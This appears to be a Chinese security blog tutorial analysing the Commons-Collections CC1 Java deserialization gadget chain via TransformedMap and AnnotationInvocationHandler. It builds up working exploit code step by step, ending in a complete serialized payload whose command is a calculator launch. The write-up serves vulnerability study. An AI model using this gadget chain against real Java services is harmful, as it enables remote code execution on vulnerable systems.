Java反序列化Commons-Collections ——CC1之TransformedMap

0x01 环境配置

首先是JDK版本,一定要是8u65版本,因为高版本的JDK修复了 CC1链。安装完成后可以验证下,如下所示:

image-20250213151348645

这里我直接在官网下载的JDK版本号对应不上,虽然页面上显示的是8u65但实际下载的时候变成了8u111,而且官网上没有8u65的版本,最低是到8u71版本(截至到2025/02/13)。这里给出一个链接

百度云链接

还有一种验证方式,可以在安装好JDK之后,直接全局搜索 AnnotationInvocationHandler 找到该类的readObject方法,查看该方法是否有调用setValue方法,因为CC1后续的利用需要借助该方法。

image-20250213151923187

另外,还需要获取openJDK的源码,以便在复现以及跟踪链时,可以直接看源码,反编译的代码理解起来会困难一些。

首先把安装JDK目录下的src.zip文件解压,然后将下载好的openJDK的zip文件中/src/share/classes/sun文件夹添加到src目录下

image-20250504025400144

在idea的JDKs/sourcepath下,添加该src目录,然后就可以直接看JDK的源码了。

image-20250504024942075

0x02 链尾分析

CC1链的源头就是Commons-Collections库中的Transformer接口,该接口下的transform方法。

image-20250215155014550

直接idea findUsages看都有哪些类实现了这个方法,因为是学习,所以就直奔InvokerTransformer

image-20250505122916286

InvokerTransformer继承了该接口,并且还继承了Serializable满足调用链需求

image-20250215161659887

然后看InvokerTransformer类实现的transform方法

image-20250215154917587

重写的方法中通过反射获取了输入的类,然后获取类中的函数并执行,这里符合作为sink点,可以通过调用InvokerTransformer#transform函数,实现反序列化的目的——命令执行,其中cls.getMethod的参数为InvokerTranformer的成员变量

image-20250215162143299

所以我们只需要调用InvokerTranformer的构造函数创建InvokerTransformer实例,然后执行transform函数即可。看下构造函数是如何实现的

image-20250215162918842

然后我们根据构造函数写一下执行弹计算器的exp

1
2
3
4
5
public static void exec() {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc" });
invokerTransformer.transform(runtime);
}

image-20250215194146165

成功执行。

0x03 利用链分析

找到了链尾,就需要逐步往前寻找调用链的每一个节点,首先需要找哪个类中的哪个方法调用了InvokerTransformer#transfrom方法

直接对这个方法右键 find Useage,这里直接查看TransformedMap

image-20250215184248792

image-20250215184509993

TransformedMap类中的checkSetValue调用了transform方法,并且checkSetValue的属性是protected,需要通过其他内部函数调用,然后我们看这个类的构造方法,这个构造方法也是protected,并且checkSetValue方法中的valueTransformer也在构造函数中。

image-20250215184720638

TransformedMap中的这个decorate静态方法调用了构造方法。

image-20250215185311939

也就是我们可以通过调用decorate方法来调用构造方法,然后通过找到谁调用了checkSetValue方法,实现链式调用最终执行命令,这里梳理一下到目前为止的调用链:

首先需要通过TransformedMap#decorate实例化TransformedMap对象,然后调用Transformedmap#checkSetValue方法触发InvokerTranformer#transform,即如下:

1
2
TransformedMap.decorate() → TransformedMap.TransformedMap()
xxx.xxx() → TransformedMap.checkSetValue() → InvokerTransformer.transform()

这里写一个exp验证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Runtime runtime = Runtime.getRuntime();
InvokerTransformer transformers = new InvokerTransformer(
"exec",
new Class[]{ String.class },
new Object[]{ "open -a Calculator" }
);

HashMap<Object, Object> hashMap = new HashMap<>();
Map decorateMap = TransformedMap.decorate(hashMap, null, transformers);
// 由于 TransformedMap.checkSetValue 方法的属性是protected,所以这里通过反射调用
Class<TransformedMap> clazz = TransformedMap.class;
Method method = clazz.getDeclaredMethod("checkSetValue", Object.class);
method.setAccessible(true);
method.invoke(decorateMap, runtime);

image-20250505111912738

接下来需要找怎么触发这个checksetValue,同样find,找到这个AbstractInputCheckedMapDecorator.MapEntry#setValue方法调用了checkSetValue方法

image-20250215185411895

image-20250215190131907

这个MapEntry#setValue可以通过获取MapEntry对象并调用setValue方法实现调用,也即如下:

1
2
3
for (Map.Entry entry : Map.entrySet()){
entry.setValue(xxx);
}

并且这里的Map必须至少有一对键值对,否则遍历时无法获取entrySet对象

1
Map.Entry.setValue() → AbstractInputCheckedMapDecorator.MapEntry.setValue() → TransformedMap.checkSetValue() → InvokerTransformer.transform()

这里编写一下exp,并附上注释

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public static void main() {
// 获取runtime实例
Runtime runtime = Runtime.getRuntime();
// InvokerTransformer入口,执行启动计算器命令
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
new Class[] { String.class },
new Object[] { "calc" }
);
// Map 想要获取 Map.Entry对象,且必须至少存在一对键值对,所以进行一次put操作
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("key", "value");
// 使用decorate方法实例化TransformedMap
Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, invokerTransformer);
for (Map.Entry entry : transformedMap.entrySet()) {
// setValue 触发调用链链,最终执行命令
entry.setValue(runtime);
}
}

image-20250505160202004

可以看到成功弹出了计算器。

总结一下就是,首先通过decorate获取到TransformedMap对象,然后通过遍历TransformedMap#entrySet进行setValue,然后setValue又会调用checkSetValue,然后执行InvokerTransformer#transform,最后执行命令。

0x04 ReadObject

反序列化最终要找到一个readObject来进行命令执行, 所以再通过findUsages找到看谁调用了setValue

image-20250505134743683

文章开头提到的JDK中的AnnotationInvocationHandlerreadObject方法刚好调用了这个setValue,然后看下这个readObject在什么条件下可以调用到setValue

image-20250505135223452

这里先不管这两个条件直接看一下这个AnnotationInvocationHandler的构造函数,下一节会通过调试分析如何满足两个条件

image-20250505202906399

可以看到构造函数第一个参数为一个注解类,第二个参数为一个Map,然后编写exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public static void exp5() throws Exception {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{ "open -a Calculator" });
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("key", "value");
Map transformedMap = TransformedMap.decorate(hashMap, null, invokerTransformer);

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
// 这里这个注解先随便选择一个 Override
Object o = constructor.newInstance(Override.class, transformedMap);
// 序列化和反序列化
serialize(o);
deserialize("ser.bin");
}

0x05 完整调用链

到目前为止,还有以下问题需要解决:

  1. Runtime对象不可反序列化,需要通过反射将其变成可以反序列化的形式;

  2. 需要满足AnnotationInvocationHandler中的条件

首先看下Runtime的反序列化:

Runtime是不能反序列化,但是Runtime.class是可以反序列化的,先看下普通的反射实现Runtime命令执行

1
2
3
4
5
6
7
public void static main(String[] args) throws Exception {
Class clazz = Runtime.class;
Method getRuntimeMethod = clazz.getMethod("getRuntime");
Runtime runtime = method.invoke(null, null);
Method execMethod = clazz.getMethod("exec", String.class);
execMethod.invoke(runtime, "open -a Calculator");
}

image-20250505141554109

然后将这个普通的反射调用Runtime修改为InvokerTransformer调用的形式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public static void exp5() throws Exception {
// 定义 InvokerTransformer 链
Transformer[] transformers = new Transformer[] {
// 调用 getMethod("getRuntime"),参数类型为 null(无参方法)
new InvokerTransformer(
"getMethod",
new Class[] { String.class, Class[].class },
new Object[] { "getRuntime", null }
),
// 调用 invoke(null),参数为静态方法无需实例
new InvokerTransformer(
"invoke",
new Class[] { Object.class, Object[].class },
new Object[] { null, new Object[0] }
),
// 调用 exec("open -a Calculator")
new InvokerTransformer(
"exec",
new Class[] { String.class },
new Object[] { "open -a Calculator" }
)
};
// 组合链式调用
ChainedTransformer chain = new ChainedTransformer(transformers);
chain.transform(Runtime.class); // 执行命令
}

image-20250505195440389

然后结合Runtime的反序列化,再编写一下整个exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public static void exp6() throws Exception {
Transformer[] transformers = new Transformer[] {
new InvokerTransformer(
"getMethod",
new Class[] { String.class, Class[].class },
new Object[] { "getRuntime", null }
),
new InvokerTransformer(
"invoke",
new Class[] { Object.class, Object[].class },
new Object[] { null, new Object[0] }
),
new InvokerTransformer(
"exec",
new Class[] { String.class },
new Object[] { "open -a Calculator" }
)
};
ChainedTransformer chain = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("key", "rea1m");
Map transformedMap = TransformedMap.decorate(hashMap, null, chain);

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Override.class, transformedMap);

serialize(o);
deserialize("ser.bin");
}

接下来解决下一个问题,满足AnnotationInvokerHandler#readObjectif条件:

下断点调试

image-20250505163511123

这里传入的memberType==null,所以会跳出第一个if判断,分析下这个memberType

image-20250505184811762

1
2
3
annotationType = AnnotationType.getInstance(type);

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

看下这个type,是类的成员变量,在构造函数中赋值。

image-20250505185506172

分析下可以知道,在我们实例化AnnotationInvocationHandler时传入的第一个参数,需要有成员变量的,才能进入到第一个if条件判断,所以要找一个有成员变量的注解

image-20250505190034560

@Target这个注解具有成员变量,这里把传参替换成Target.class并且这个注解的成员变量为value,所以在hashMap.put()时,需要将键修改为value,即如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public static void exp5() throws Exception {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{ "open -a Calculator" });
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value", "rea1m");
Map transformedMap = TransformedMap.decorate(hashMap, null, invokerTransformer);

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, transformedMap);

serialize(o);
deserialize("ser.bin");
}

image-20250505190543748

继续跟进,发现成功满足了两个if条件,但是并未成功调用计算器

image-20250505191433522

发现在setValue时,value的值为AnnotationTypeMismatchExceptionProxy,而不是我们希望的,所以这里需要找一个类可以能够控制setValue的参数——ConstantTransformer

image-20250505191856119

ConstantTransformer在构造函数时,会将入参保留在iConstant,而在transform时,会直接将iContant返回。

所以这里我们先通过ConstantTransformer传入Runtime.class,这样可以在setValue时可以设置为我们传入的值,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public static void exp0() throws Exception {
// 定义 InvokerTransformer 链
Transformer[] transformers = new Transformer[] {
// 1. 获取 Runtime.class 对象
new ConstantTransformer(Runtime.class),
// 2. 调用 getMethod("getRuntime"),参数类型为 null(无参方法)
new InvokerTransformer(
"getMethod",
new Class[] { String.class, Class[].class },
new Object[] { "getRuntime", null }
),
// 3. 调用 invoke(null),参数为静态方法无需实例
new InvokerTransformer(
"invoke",
new Class[] { Object.class, Object[].class },
new Object[] { null, new Object[0] }
),
// 4. 调用 exec("open -a Calculator")
new InvokerTransformer(
"exec",
new Class[] { String.class },
new Object[] { "open -a Calculator" }
)
};
// 组合链式调用
ChainedTransformer chain = new ChainedTransformer(transformers);
// 触发链式调用(传入任意初始对象,ConstantTransformer 会忽略输入)
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value", "rea1m");
Map transformedMap = TransformedMap.decorate(hashMap, null, chain);

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, transformedMap);

serialize(o);
deserialize("ser.bin");
}

然后再断点调试看一下

image-20250505204315846

可以看到,这里的valueTransformer已经是我们设置的ContantTransformer

image-20250505204708766

成功启动了计算器。

0x06 总结

  • 总结一下整个调用链
1
2
3
4
5
6
7
8
9
利用链:
InvokerTransformer#transform
TransformedMap#checkSetValue
AbstrackInputCheckedMapDecorator.MapEntry#setValue
AnnotationInvocationHandler#readObject
辅助链:
ChainedTransformer
ConstantTransformer
HashMap